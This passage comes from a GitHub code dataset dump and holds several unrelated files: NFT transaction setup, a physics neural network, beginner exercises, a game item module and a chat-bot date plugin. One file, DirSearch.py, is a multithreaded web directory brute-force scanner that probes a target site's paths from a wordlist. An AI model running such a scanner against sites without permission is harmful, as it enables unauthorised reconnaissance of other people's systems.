gwei\n TIP = 40 # get tip from https://etherscan.io/gastracker\n MAX = calculate_gas_max(BASE, TIP)\n VALUE = 0.01\n tx, tx_error = None, None\n\n try:\n\n nonce = Web3Instance.eth.getTransactionCount(WALLETS[WALLET]['public'])\n\n tx = {\n 'nonce': nonce,\n 'to': RECIPIENT_ADDRESS,\n 'value': Web3Instance.toWei(VALUE, 'ether'),\n 'gas': GAS_LIMIT,\n 'maxPriorityFeePerGas': Web3Instance.toWei(TIP, 'gwei'),\n 'maxFeePerGas': Web3Instance.toWei(MAX, 'gwei'),\n 'chainId': CHAIN,\n }\n\n except:\n tx_error = \"Failed to generate transaction.\"\n\n return tx, nonce, tx_error\n","repo_name":"evm-labs/NFT-Minter","sub_path":"src/transact_setup.py","file_name":"transact_setup.py","file_ext":"py","file_size_in_byte":1125,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"70467901172","text":"from time import sleep\nc=0\nwhile c!=5:\n n1=int(input('Digite um número: '))\n n2=int(input('Outro número: '))\n print('''------- Escolha uma opçao -------\n [1] Somar\n [2] Mutiplicar\n [3] Mostrar maior número\n [4] Escolher novos números\n [5] Sair do programa''')\n c=int(input('>>>>> Escolha sua opção: '))\n if c==1:\n print('O resultado de {} + {} é igual a {}'.format(n1,n2,n1+n2))\n elif c==2:\n print('A mutiplicação entre {} x {} é igual a {}'.format(n1,n2,n1*n2))\n elif c==3:\n if n1>n2:\n mn=n1\n elif n1==n2:\n mn=n1\n else:\n mn=n2\n print('O maior número digitado foi {} '.format(mn))\n elif c==4:\n print('Informe os números novamente:')\n n1=int(input('Primeiro valor: '))\n n2=int(input('Segundo valor: '))\n elif c==5:\n print('Finalizando...')\n else:\n print('Escolha invalida tente novamente')\n sleep(2)\n print('-=-'*20)\n","repo_name":"atico0/python","sub_path":"python_exercicios/ex059.py","file_name":"ex059.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7136083424","text":"import copy\nimport random\nimport time\nimport math\nimport numpy as np\nimport argparse\nimport os\nimport datetime\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as func\nimport torch.optim as optim\nimport torch.cuda\n\n# 変更用オプション\n#################################################################################\n#  d_はデフォルトの略、コマンドからの時は変更できる\nd_EPOCH = 2000\n# 格子点数および粒子数\nd_LATTICE = 11\nd_PARTICLE = 9\n# パラメータ\nd_U = 2\nd_J = 1\n# output アウトプットするデータの名前\nd_OUTPUT_FILE_NAME = \"AAA\"\n# GPUを使う場合'cuda' cpu なら'cpu'\nd_GPU = 'cuda'\n\n################################################################################\n\n# 学習率\nLR = 0.001\nLR_STEP = 1000\nLR_GAMMA = 0.1\nMOMENTUM = 0.95\n# 定数\nMEMO_NAME = \"memo.txt\" # 条件記録用\nSAMPLE_NUM = 1000\nnet_num = 20\nOUTPUT_NAME = \"RESULT\"\nKILL_DATA = 50\n\n\n# ニューラルネットワーク本体を作成\nclass MyModel(nn.Module):\n def __init__(self):\n super().__init__()\n # 全結合ネットワーク\n self.l1 = nn.Linear(LATTICE, net_num)\n self.l2 = nn.Linear(net_num, 2)\n\n def forward(self, x):\n # reluを用いる。\n h1 = torch.tanh(self.l1(x))\n y = self.l2(h1)\n return y\n\n\nclass MyLoss(nn.Module):\n def __init__(self, sample_num):\n super().__init__()\n self.i_vector_array = [np.arange(LATTICE) for i in range(sample_num)]\n self.i_vector_array = np.array(self.i_vector_array)\n self.i_vector_array = torch.from_numpy(self.i_vector_array)\n self.i_vector_array = self.i_vector_array.to(DEVICE)\n\n def forward(self, n_vector_array, cn_array, cn_tensor_1, cn_tensor_2, sample_num):\n cn_tensor_1 = (torch.exp(cn_tensor_1[:, :, 0]) * torch.exp(cn_tensor_1[:, :, 1] * 1j)) / (\n torch.exp(cn_array[:, 0]) * torch.exp(cn_array[:, 1] * 1j))\n cn_tensor_2 = (torch.exp(cn_tensor_2[:, :, 0]) * torch.exp(cn_tensor_2[:, :, 1] * 1j)) / (\n torch.exp(cn_array[:, 0]) * torch.exp(cn_array[:, 1] * 1j))\n return (-J * torch.sum(torch.sqrt(n_vector_array[:, 0:LATTICE - 1] * (n_vector_array[:, 1:LATTICE] + 1)) *\n torch.t(torch.conj(cn_tensor_1))\n + torch.sqrt((n_vector_array[:, 0:LATTICE - 1] + 1) * n_vector_array[:, 1:LATTICE]) *\n torch.t(torch.conj(cn_tensor_2)))\n + J * torch.sum(self.i_vector_array ** 2 * n_vector_array)\n - J * (LATTICE - 1) * torch.sum(self.i_vector_array * n_vector_array)\n + ((LATTICE - 1) ** 2 * J / 4 - U / 2) * torch.sum(n_vector_array)\n + U / 2 * torch.sum(n_vector_array ** 2)) / sample_num\n\n\ndef est_particle(n_vector_array, i, sample_num):\n return torch.sum(n_vector_array[:, i]) / sample_num\n\n\ndef metropolis(sample_num, my_net):\n # GPUを使う場合データを変換する。to(DEVICE)\n # 返すベクトル生成\n n_vector_array = np.zeros([sample_num, LATTICE])\n n_vector_array = torch.from_numpy(n_vector_array).float()\n n_vector_array = n_vector_array.to(DEVICE)\n # 操作用のベクトル\n temp_vector = np.zeros([LATTICE])\n temp_vector = torch.from_numpy(temp_vector).float()\n temp_vector = temp_vector.to(DEVICE)\n\n rand_idx = random.randrange(LATTICE)\n temp_vector[rand_idx] = PARTICLE\n for j in range(PARTICLE * 5):\n temp_vector = shuffle_vector(temp_vector)\n for i in range(sample_num + KILL_DATA):\n new_vector = shuffle_vector(temp_vector)\n a1 = torch.sum(temp_vector != 0)\n a2 = torch.sum(new_vector != 0)\n b1 = my_net(temp_vector)\n b1 = torch.exp(b1[0]) * torch.exp(b1[1] * 1j)\n b2 = my_net(new_vector)\n b2 = torch.exp(b2[0]) * torch.exp(b2[1] * 1j)\n alpha = (abs(b2) / abs(b1)) ** 2 * (a1 / a2)\n if alpha < random.random():\n new_vector = temp_vector\n if i >= KILL_DATA:\n n_vector_array[i - KILL_DATA] = new_vector\n return n_vector_array\n\n\ndef shuffle_vector(n_vector):\n result_n_vector = copy.deepcopy(n_vector)\n while True:\n down = random.randrange(LATTICE)\n if not result_n_vector[down] == 0:\n break\n while True:\n up = random.randrange(LATTICE)\n if not down == up:\n break\n result_n_vector[down] -= 1\n result_n_vector[up] += 1\n return result_n_vector\n\n\ndef make_sample(n_vector_array, sample_num):\n n_vector_tensor_1 = np.zeros([LATTICE - 1, sample_num, LATTICE])\n n_vector_tensor_1 = torch.from_numpy(n_vector_tensor_1).float()\n n_vector_tensor_1 = n_vector_tensor_1.to(DEVICE)\n n_vector_tensor_2 = np.zeros([LATTICE - 1, sample_num, LATTICE])\n n_vector_tensor_2 = torch.from_numpy(n_vector_tensor_2).float()\n n_vector_tensor_2 = n_vector_tensor_2.to(DEVICE)\n for i in range(LATTICE - 1):\n n_vector_tensor_1[i] = copy.deepcopy(n_vector_array)\n n_vector_tensor_1[i, :, i] -= 1\n n_vector_tensor_1[i, :, i + 1] += 1\n n_vector_tensor_2[i] = copy.deepcopy(n_vector_array)\n n_vector_tensor_2[i, :, i] += 1\n n_vector_tensor_2[i, :, i + 1] -= 1\n return n_vector_tensor_1, n_vector_tensor_2\n\n\ndef learning():\n # オプションを表示\n print('GPU: {}'.format(GPU))\n print('# epoch: {}'.format(EPOCH))\n print('# lattice_point_num: {}'.format(LATTICE))\n print('# particle_num: {}'.format(PARTICLE))\n print('# output_file: {}'.format(OUTPUT_FILE_NAME))\n print('')\n\n if not os.path.exists(OUTPUT_FILE_NAME):\n os.mkdir(OUTPUT_FILE_NAME)\n # 後からわかるようにメモを出力\n with open(OUTPUT_FILE_NAME + \"/\" + MEMO_NAME, mode='a') as f:\n now_time = datetime.datetime.now()\n f.write(\"\\n\" + __file__ + \"が実行されました。 \" + now_time.strftime('%Y/%m/%d %H:%M:%S') + \"\\n 使用されたデータ:\")\n f.write(\"エポック数:\" + str(EPOCH) + \"\\n \")\n f.write(\"GPU:\" + str(GPU) + \"\\n \")\n f.write(\"lattice_point_num:\" + str(LATTICE) + \"\\n \")\n f.write(\"particle_num:\" + str(PARTICLE) + \"\\n \")\n f.write(\"Lr:\" + str(LR) + \"\\n \")\n f.write(\"STEP:\" + str(LR_STEP) + \"\\n \")\n f.write(\"Gamma:\" + str(LR_GAMMA) + \"\\n \")\n f.write(\"Momentum:\" + str(MOMENTUM) + \"\\n \")\n print(\"データロード開始\")\n\n # ニューラルネットワークを実体化\n my_net: nn.Module = MyModel()\n my_net = my_net.to(DEVICE)\n # 最適化アルゴリズム\n optimizer = optim.SGD(params=my_net.parameters(), lr=LR, momentum=MOMENTUM)\n scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=LR_STEP, gamma=LR_GAMMA)\n\n criterion = MyLoss(SAMPLE_NUM)\n\n # 学習結果の保存用\n history = {'train_loss': [], 'test_loss': [], 'now_time': [], }\n\n # 学習開始。エポック数だけ学習を繰り返す。\n for e in range(EPOCH):\n # 学習を行う。\n my_net.eval()\n with torch.no_grad():\n train_n_vector_array = metropolis(SAMPLE_NUM, my_net)\n train_n_vector_tensor_1, train_n_vector_tensor_2 = make_sample(train_n_vector_array, SAMPLE_NUM)\n my_net.train(True)\n optimizer.zero_grad()\n cn_array = my_net(train_n_vector_array)\n cn_tensor_1 = my_net(train_n_vector_tensor_1)\n cn_tensor_2 = my_net(train_n_vector_tensor_2)\n energy = criterion(train_n_vector_array, cn_array, cn_tensor_1, cn_tensor_2, SAMPLE_NUM)\n energy.backward()\n optimizer.step()\n train_loss = energy.item()\n scheduler.step()\n # テストを行う。\n if e % 10 == 0:\n history['train_loss'].append(train_loss)\n my_net.eval()\n with torch.no_grad():\n test_n_vector_array = metropolis(SAMPLE_NUM, my_net)\n test_n_vector_tensor_1, test_n_vector_tensor_2 = make_sample(test_n_vector_array, SAMPLE_NUM)\n cn_array = my_net(test_n_vector_array)\n cn_tensor_1 = my_net(test_n_vector_tensor_1)\n cn_tensor_2 = my_net(test_n_vector_tensor_2)\n energy = criterion(test_n_vector_array, cn_array, cn_tensor_1, cn_tensor_2, SAMPLE_NUM)\n test_loss = energy.item()\n history['test_loss'].append(test_loss)\n # 経過を記録して、表示。\n now_time = datetime.datetime.now()\n history['now_time'].append(now_time.strftime('%Y/%m/%d %H:%M:%S'))\n print('Train Epoch: {}/{} \\t TrainLoss: {:.6f} \\t TestLoss: {:.6f} \\t time: {} \\t lr:{}'\n .format(e + 1, EPOCH, train_loss, test_loss, now_time.strftime('%Y/%m/%d %H:%M:%S'),\n scheduler.get_last_lr()[0]))\n\n print(\"学習終了\")\n # 予測を行う。\n my_net.eval()\n n_vector_result = np.zeros([LATTICE])\n with torch.no_grad():\n est_n_vector_array = metropolis(SAMPLE_NUM * 10, my_net)\n est_n_vector_tensor_1, est_n_vector_tensor_2 = make_sample(est_n_vector_array, SAMPLE_NUM * 10)\n cn_array = my_net(est_n_vector_array)\n cn_tensor_1 = my_net(est_n_vector_tensor_1)\n cn_tensor_2 = my_net(est_n_vector_tensor_2)\n energy = criterion(est_n_vector_array, cn_array, cn_tensor_1, cn_tensor_2, SAMPLE_NUM * 10)\n for i in range(LATTICE):\n n_vector_result[i] = est_particle(est_n_vector_array, i, SAMPLE_NUM * 10)\n est_loss = energy.item()\n\n # 結果をセーブする。\n if not os.path.exists(args.out + \"/\" + OUTPUT_NAME):\n os.mkdir(args.out + \"/\" + OUTPUT_NAME)\n torch.save(my_net.state_dict(), args.out + \"/\" + OUTPUT_NAME + \"/\" + 'model.pth')\n with open(args.out + \"/\" + OUTPUT_NAME + \"/\" + 'result.txt', mode='a') as f:\n f.write(\"\\n \\n \" + str(est_loss))\n f.write(\"\\n \\n \" + str(n_vector_result))\n with open(args.out + \"/\" + OUTPUT_NAME + \"/\" + 'history.txt', mode='a') as f:\n f.write(\"\\n \\n \" + str(history))\n\n print(\"終了\")\n # 終了時間メモ\n now_time = datetime.datetime.now()\n with open(args.out + \"/\" + MEMO_NAME, mode='a') as f:\n f.write(\"\\n終了しました\" + now_time.strftime('%Y/%m/%d %H:%M:%S') + \"\\n\\n\")\n\n return str(est_loss), str(n_vector_result)\n\n\nif __name__ == '__main__':\n # コマンドラインからプログラムを動かす時のオプションを実装\n parser = argparse.ArgumentParser(description='Pytorch' + __file__)\n parser.add_argument('--epoch', '-e', type=int, default=d_EPOCH,\n help='Number of sweeps over the dataset to train')\n parser.add_argument('--gpu', '-g', type=str, default=d_GPU,\n help='if you want to use GPU, select cuda. cpu for cpu')\n parser.add_argument('--M', '-m', default=d_LATTICE,\n help='number of lattice points')\n parser.add_argument('--N', '-n', default=d_PARTICLE,\n help='number of particle')\n parser.add_argument('--U', '-u', default=d_U,\n help='value of U')\n parser.add_argument('--J', '-j', default=d_J,\n help='value of J')\n parser.add_argument('--out', '-o', default=d_OUTPUT_FILE_NAME,\n help='output file name')\n args = parser.parse_args()\n\n EPOCH = args.epoch\n GPU = args.gpu\n LATTICE = args.M\n PARTICLE = args.N\n U = args.U\n J = args.J\n OUTPUT_FILE_NAME = args.out\n DEVICE = torch.device(GPU)\n\n result = learning()\n print(\"ene\" + result[0])\n print(\"num\" + result[1])\n \"\"\" \n aaa = MyModel()\n aaa.to(DEVICE)\n ddd = MyLoss(SAMPLE_NUM)\n ggg = optim.SGD(params=aaa.parameters(), lr=LR, momentum=MOMENTUM)\n start = time.time()\n bb1 = metropolis(SAMPLE_NUM, aaa)\n print(\"metro:{0}\".format(time.time() - start) + \"[sec]\")\n start = time.time()\n bb2, bb3 = make_sample(bb1, SAMPLE_NUM)\n print(\"make:{0}\".format(time.time() - start) + \"[sec]\")\n start = time.time()\n cc1 = aaa(bb1)\n cc2 = aaa(bb2)\n cc3 = aaa(bb3)\n print(\"net:{0}\".format(time.time() - start) + \"[sec]\")\n start = time.time()\n fff = ddd(bb1, cc1, cc2, cc3, SAMPLE_NUM)\n print(\"loss:{0}\".format(time.time() - start) + \"[sec]\")\n start = time.time()\n fff.backward()\n print(\"backward:{0}\".format(time.time() - start) + \"[sec]\")\n start = time.time()\n ggg.step()\n print(\"optim:{0}\".format(time.time() - start) + \"[sec]\")\n print(fff)\n \"\"\"\n","repo_name":"WATABE-Shintaro/Bose_Hubbard_model","sub_path":"New_NBH/NBH_B.py","file_name":"NBH_B.py","file_ext":"py","file_size_in_byte":12503,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42985412140","text":"number=int(input())\n\ndef multiplesOf3And5(number):\n i=0;\n sum0=0;\n sum1=0;\n sumBoth=0\n while i<number:\n # divisible by both\n if(i%3==0 and i%5==0):\n sumBoth+=i\n elif i%3==0:\n sum0+=i\n print(i)\n # print(sum0)\n elif i%5==0:\n sum1+=i\n print(i)\n i+=1\n final=sum0+sum1+sumBoth\n print(\"Summation of multiples of 3 and 5 is %d\" %final)\n return final\n \nmultiplesOf3And5(number)","repo_name":"Ginger-Stone/Project-Euler","sub_path":"#1 - Multiples of 3 and 5/multiples3And5.py","file_name":"multiples3And5.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10176063263","text":"__author__ = \"Kirito\"\nimport random\nimport sys\nimport threading\nfrom queue import Queue\nfrom optparse import OptionParser\n\ntry:\n import requests\nexcept Exception:\n print(\"[!] You Need to Install requests module !\")\n print(\"[!] Usage:pip install requests \")\n exit()\n\n\nclass WebDirScan:\n def __init__(self, options):\n self.url = options.url\n self.file_name = options.file_name\n self.count = options.count\n\n\n class DirScan(threading.Thread):\n def __init__(self, queue, total):\n threading.Thread.__init__(self)\n self._queue = queue\n self._total = total\n\n def run(self):\n while not self._queue.empty():\n url = self._queue.get()\n threading.Thread(target=self.msg).start()\n try:\n r = requests.get(url=url, headers=get_user_agent(), timeout=5)\n if r.status_code == 200:\n sys.stdout.write('/r' + '[+]%s\\t\\t\\n' % url)\n result = open('result.html', 'a+')\n result.write('<a href=\"' + url + '\" rel=\"external nofollow\" target=\"_blank\">' + url + '</a>')\n result.write('\\r\\n</br>')\n result.close()\n except Exception:\n pass\n\n def msg(self):\n per = 100 - (float(self._queue.qsize()) / float(self._total) * 100)\n percent = \"%s Finished| %s All| Scan in %1.f %s\" % ((self._total - self._queue.qsize()), self._total, per, '%')\n sys.stdout.write('\\r' + '[*]' + percent)\n\n def start(self):\n result = open('result.html', 'w')\n result.close()\n queue = Queue()\n f = open('dict.txt', 'r')\n for i in f.readlines():\n queue.put(self.url + \"/\" + i.rstrip('\\n'))\n total = queue.qsize()\n threads = []\n thread_count = int(self.count)\n for i in range(thread_count):\n threads.append(self.DirScan(queue, total))\n for thread in threads:\n thread.start()\n for thread in threads:\n thread.join()\n\n\ndef get_user_agent():\n user_agent_list = [\n {},\n {},\n {},\n {},\n ]\n return random.choice(user_agent_list)\n\n\ndef main():\n print('''\n \n \n \n \n Welcome to WebDirscan\n Version:1.0 Author:%s\n '''%__author__)\n parser = OptionParser('python WebDirScan.py -u <Target URL> -f <Dictionary file name> [-t <Thread_count>]')\n parser.add_option('-u', '--url', dest='url', type='string', help='target url for scan')\n parser.add_option('-f', '--file', dest='file_name', type='string', help='dictionary filename')\n parser.add_option('-t', '--thread', dest='count', type='int', default=10, help='scan thread count')\n options, args = parser.parse_args()\n if options.url and options.file_name:\n dirscan = WebDirScan(options)\n dirscan.start()\n sys.exit(1)\n else:\n parser.print_help()\n sys.exit(1)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"HKirito/DirSearch","sub_path":"DirSearch.py","file_name":"DirSearch.py","file_ext":"py","file_size_in_byte":3076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17771426212","text":"from src import constants, globalvars, game\n\n\nclass ComItem:\n \"\"\"Item component that gives actor objects item-like properties and functionality.\n\n Attributes\n ----------\n item_desc : str\n A description of the item.\n weight : int, optional\n The weight value in wu (weight units) of the item.\n item_type : str, optional\n Type of item (gold, consumable, magic, equipment, etc.)\n use_function : function, optional\n Function that's executed when item is used.\n value : int, optional\n Value of the item if it holds one (gold, exp etc.).\n container : ComContainer\n The specific container object the item resides in. Initialized to None.\n \"\"\"\n def __init__(self, item_desc, weight=0,\n item_type=None,\n use_function=None,\n value=0):\n\n self.item_desc = item_desc\n self.weight = weight\n self.item_type = item_type\n self.use_function = use_function\n self.value = value\n self.container = None\n self.hover_sound_played = False\n\n def pick_up(self, actor):\n \"\"\"Picks up the item and either places it into the `actor`'s inventory, or directly used upon picking up.\n\n Parameters\n ----------\n actor : ObjActor\n The actor object (usually PLAYER) that will hold the item after pick up.\n\n Returns\n -------\n None\n \"\"\"\n if self.item_type == \"gold\":\n globalvars.ASSETS.sfx_coin_pickup.play()\n actor.gold += self.value\n\n self.owner.animation_del()\n globalvars.GAME.current_objects.remove(self.owner)\n\n game.game_message(f\"Gained {self.value} gold.\", constants.COLOR_YELLOW)\n game.game_message(f\"Player now has {actor.gold} gold total.\", constants.COLOR_WHITE)\n return\n\n elif self.item_type == \"Red Soul\":\n globalvars.ASSETS.sfx_soul_consume.play()\n actor.exp_total += self.value\n\n self.owner.animation_del()\n globalvars.GAME.current_objects.remove(self.owner)\n return\n\n if actor.container:\n if self.item_type == \"Pure Soul\":\n globalvars.ASSETS.sfx_pure_soul_consume.play()\n actor.container.inventory.append(self.owner)\n self.container = actor.container\n self.use()\n globalvars.GAME.current_objects.remove(self.owner)\n return\n\n if actor.container.weight + self.weight > actor.container.max_weight:\n game.game_message(\"Not enough room to pick up\", constants.COLOR_WHITE)\n\n else:\n globalvars.ASSETS.sfx_item_pickup.play()\n game.game_message(f\"Picked up [{self.owner.display_name}]\")\n actor.container.inventory.append(self.owner)\n\n self.owner.animation_del()\n globalvars.GAME.current_objects.remove(self.owner)\n\n self.container = actor.container\n\n def drop(self, new_x, new_y):\n \"\"\"Drops this item onto the ground specified by the (`new_x`,`new_y`) map-grid coordinates.\n\n Parameters\n ----------\n new_x : int\n The map-grid x-coord to drop the item (usually PLAYER's current position).\n new_y : int\n The map-grid y-coord to drop the item (usually PLAYER's current position).\n\n Returns\n -------\n None\n \"\"\"\n\n # inserting underneath any creature or PLAYER but above any objects already on that tile\n insert_position = 0\n for i, obj in enumerate(reversed(globalvars.GAME.current_objects)):\n if obj.item and obj.x == new_x and obj.y == new_y:\n insert_position = i\n break\n\n globalvars.GAME.current_objects.insert(insert_position, self.owner)\n\n self.owner.animation_init()\n\n if self.owner in self.container.inventory:\n self.container.inventory.remove(self.owner)\n elif self.owner in self.container.equipped_inventory:\n self.container.equipped_inventory.remove(self.owner)\n\n self.owner.x, self.owner.y = new_x, new_y\n game.game_message(f\"Dropped [{self.owner.display_name}]\")\n\n def use(self):\n \"\"\"Uses the item to produce an effect and removes it from the inventory.\n\n Passes in the caster (the creature/actor using the item) and any value associated to the\n use_function.\n\n Returns\n -------\n None\n \"\"\"\n if self.owner.equipment:\n self.owner.equipment.toggle_equip()\n return\n\n if self.use_function:\n used = self.use_function(self.container.owner, self.value)\n if used:\n self.container.inventory.remove(self.owner)\n elif self.item_type == \"Pure Soul\":\n self.container.inventory.remove(self.owner)\n\n\nclass ComEquipment:\n \"\"\"Equipment component class that gives item objects extra combat bonuses and statuses.\n\n Attributes\n ----------\n attack_bonus : int\n Value of additional damage a wielder will gain when equipped.\n defence_bonus : int\n Value of additional defence a wielder will gain when equipped.\n slot : str\n The slot that the equipment will occupy (Right, Left, Body, Legs, Feet, Head).\n equipped : bool\n True if the item is equipped.\n \"\"\"\n def __init__(self, attack_bonus=0, defence_bonus=0, slot=None):\n\n self.attack_bonus = attack_bonus\n self.defence_bonus = defence_bonus\n self.slot = slot\n\n self.equipped = False\n\n def toggle_equip(self):\n \"\"\"Toggles the equipment on and off.\n\n Returns\n -------\n None\n \"\"\"\n if self.equipped:\n self.unequip()\n else:\n self.equip()\n\n def equip(self):\n \"\"\"Equips the item and sets the equipped attribute to True.\n\n Checks the slot of the equipment to see if that particular slot is already occupied.\n If the slot is empty, set equipped attribute to true.\n\n Returns\n -------\n None\n \"\"\"\n all_equipped_items = self.owner.item.container.equipped_inventory\n\n if len(all_equipped_items) > 0:\n for equipped_item in all_equipped_items:\n if equipped_item.equipment.slot == self.slot:\n game.game_message(f\"There is already an item in the {self.slot} slot!\",\n constants.COLOR_WHITE)\n self.equipped = False\n return\n\n self.equipped = True\n game.game_message(f\"Equipped [{self.owner.object_name}] in the {self.slot} slot\")\n\n def unequip(self):\n \"\"\"Unequips the item and sets the equipped attribute to False.\n\n Returns\n -------\n None\n \"\"\"\n self.equipped = False\n game.game_message(f\"Unequipped [{self.owner.display_name}]\")\n","repo_name":"PeterBohai/tower-of-rak","sub_path":"src/components/itemcom.py","file_name":"itemcom.py","file_ext":"py","file_size_in_byte":7006,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"18162804993","text":"def get_holiday(sdate):\n\n\t''' Function get holiday from file plugins/date.txt and return title of\n\tholiday if holiday found, else return empty unicode message. Input params\n\tmust be\tlist of int\n\n\t:[month, day]:'''\n\n\tresult = ''\n\tdate_base = readfile(date_file).decode('UTF').split('\\n')\n\tfor ddate in date_base:\n\t\tif ddate != '\\n' or ddate != '':\n\t\t\tddate = ddate.split('-')\n\t\t\thdate = ddate[0]\n\t\t\tif '.' in hdate:\n\t\t\t\thdate = map(int, hdate.split('.'))\n\t\t\t\thdate.reverse()\n\t\t\t\tif hdate == sdate:\n\t\t\t\t\tresult += ddate[1].strip() + ', '\n\tif len(result) > 2: result = result[:-2]\n\treturn result\n\ndef parse_date_string(string_date, spl='.'):\n\n\t''' Parse date string and return list [year, month, day] '''\n\n\tdate_formats = ['%d'+spl+'%m', '%d'+spl+'%m'+spl+'%y',\n\t\t'%d'+spl+'%m'+spl+'%Y', '%Y'+spl+'%m'+spl+'%d']\n\t#output = list(time.localtime())[:3]\n\tfor format in date_formats:\n\t\ttry: output = list(time.strptime(string_date, format))[:3]\n\t\texcept: pass\n\treturn output\n\ndef to_date(type, jid, nick, text):\n\tdmass = (L('days','%s/%s'%(jid,nick)), L('day','%s/%s'%(jid,nick)), L('Days','%s/%s'%(jid,nick)).lower(), L('Days','%s/%s'%(jid,nick)).lower(),\n\t\tL('Days','%s/%s'%(jid,nick)).lower(), L('days','%s/%s'%(jid,nick)), L('days','%s/%s'%(jid,nick)), L('days','%s/%s'%(jid,nick)), L('days','%s/%s'%(jid,nick)), L('days','%s/%s'%(jid,nick)))\n\tsplitters = ('.', '-', ':', '/', ',', '\\\\')\n\tif len(text):\n\t\ttry:\n\t\t\tspl = [spl for spl in splitters if spl in text][0]\n\t\t\tsdate = parse_date_string(text, spl)\n\t\t\tif sdate[0] == 1900: sdate[0] = list(time.localtime())[0]\n\t\t\tyear = sdate.pop(0)\n\t\t\tmonth, day = sdate\n\t\t\thday = get_holiday(sdate)\n\t\t\ttext = text.replace(spl, '.')\n\t\t\tmsg = ''\n\t\t\tif len(hday) > 0: text = hday\n\t\t\tdays_remain = (datetime.date(year, month, day) - datetime.date.today()).days\n\t\t\tif len(str(abs(days_remain))) > 1 and str(days_remain)[-2] == '1':\n\t\t\t\tdmass = (L('days','%s/%s'%(jid,nick)),L('days','%s/%s'%(jid,nick)),L('days','%s/%s'%(jid,nick)),L('days','%s/%s'%(jid,nick)),\n\t\t\t\t\tL('days','%s/%s'%(jid,nick)),L('days','%s/%s'%(jid,nick)),L('days','%s/%s'%(jid,nick)),L('days','%s/%s'%(jid,nick)),\n\t\t\t\t\tL('days','%s/%s'%(jid,nick)),L('days','%s/%s'%(jid,nick)))\n\t\t\tif days_remain < 0: msg += L('was %s %s ago','%s/%s'%(jid,nick)) % \\\n\t\t\t\t(str(abs(days_remain)), dmass[int(str(days_remain)[-1])])\n\t\t\telif days_remain == 0: msg += L('today','%s/%s'%(jid,nick))\n\t\t\telse: msg += L('will be in %s %s','%s/%s'%(jid,nick)) % \\\n\t\t\t\t(str(abs(days_remain)), dmass[int(str(days_remain)[-1])])\n\t\t\tmsg = text + ' ' + msg\n\t\texcept: msg = L('Error in parameters. Read the help about command.','%s/%s'%(jid,nick))\n\telse: msg = L('Error in parameters. Read the help about command.','%s/%s'%(jid,nick))\n\tsend_msg(type, jid, nick, msg)\n\ndef todate(type, jid, nick, text):\n\tdmass = (L('days','%s/%s'%(jid,nick)), L('day','%s/%s'%(jid,nick)), L('Days','%s/%s'%(jid,nick)).lower(), L('Days','%s/%s'%(jid,nick)).lower(),\n\t\tL('Days','%s/%s'%(jid,nick)).lower(), L('days','%s/%s'%(jid,nick)), L('days','%s/%s'%(jid,nick)), L('days','%s/%s'%(jid,nick)), L('days','%s/%s'%(jid,nick)), L('days','%s/%s'%(jid,nick)))\n\tsplitters = ('.', '-', ':', '/', ',', '\\\\')\n\tmsg = ''\n\tif len(text):\n\t\ttry:\n\t\t\tif ' ' in text: ddate, msg = text.split(' ', 1)[0], text.split(' ', 1)[1]\n\t\t\telse: ddate = text\n\t\t\tspl = [spl for spl in splitters if spl in ddate][0]\n\t\t\tif len(msg) == 0: msg = L('before the %s remained','%s/%s'%(jid,nick)) % ddate.replace(spl, '.')\n\t\t\tsdate = parse_date_string(ddate, spl)\n\t\t\tif sdate[0] == 1900: sdate[0] = list(time.localtime())[0]\n\t\t\tyear = sdate.pop(0)\n\t\t\tmonth, day = sdate\n\t\t\tdays_remain = (datetime.date(year, month, day) - datetime.date.today()).days\n\t\t\tif len(str(abs(days_remain))) > 1 and str(days_remain)[-2] == '1':\n\t\t\t\tdmass = (L('days','%s/%s'%(jid,nick)),L('days','%s/%s'%(jid,nick)),L('days','%s/%s'%(jid,nick)),L('days','%s/%s'%(jid,nick)),\n\t\t\t\t\tL('days','%s/%s'%(jid,nick)),L('days','%s/%s'%(jid,nick)),L('days','%s/%s'%(jid,nick)),L('days','%s/%s'%(jid,nick)),\n\t\t\t\t\tL('days','%s/%s'%(jid,nick)),L('days','%s/%s'%(jid,nick)))\n\t\t\tif days_remain < 0: msg = L('Date has already in past!','%s/%s'%(jid,nick))\n\t\t\telse: msg += ' %s %s' % (days_remain,dmass[int(str(days_remain)[-1])])\n\t\texcept: msg = L('Error in parameters. Read the help about command.','%s/%s'%(jid,nick))\n\telse: msg = L('Error in parameters. Read the help about command.','%s/%s'%(jid,nick))\n\tsend_msg(type, jid, nick, msg)\n\nglobal execute\n\nexecute = [(3, 'to_date', to_date, 2, 'Calculate count of days for requested date, if the date is holiday, that returned title of holiday.\\nSupported date formats: dd.mm.yyyy, dd.mm, dd.mm.yy, yyyy.mm.dd\\nSupported splitters: ,-.:/\\\\\\ntodate 05.09\\ntodate 5/9/2010'),\n\t(3, 'todate', todate, 2, 'Calculate count of days for requested date.\\nSupported date formats: dd.mm.yyyy, dd.mm, dd.mm.yy, yyyy.mm.dd\\nSupported splitter: ,-.:/\\\\\\ntodate 05.09 before New year remained\\ntodate 5/9/2010 before New year remained')]\n","repo_name":"isida/4","sub_path":"plugins/todate.py","file_name":"todate.py","file_ext":"py","file_size_in_byte":4946,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"21"} +{"seq_id":"29964730933","text":"from collections import Counter\nfrom sys import stdin\ndef arithmetic_geometric_mean(n, NumList=[]):\n return round(sum(NumList)/n)\ndef median(n, NumList=[]):\n if n==1:\n return NumList[0] \n NumList.sort()\n return (NumList)[int((n)/2)]\n\ndef mode(n, NumList=[]):\n if n==1:\n return NumList[0] \n count = Counter(NumList).most_common()\n\n modes = []\n for num in count:\n if num[1] == count[0][1]:\n modes.append(num[0])\n\n modes.sort()\n if len(modes) > 1:\n return modes[1]\n 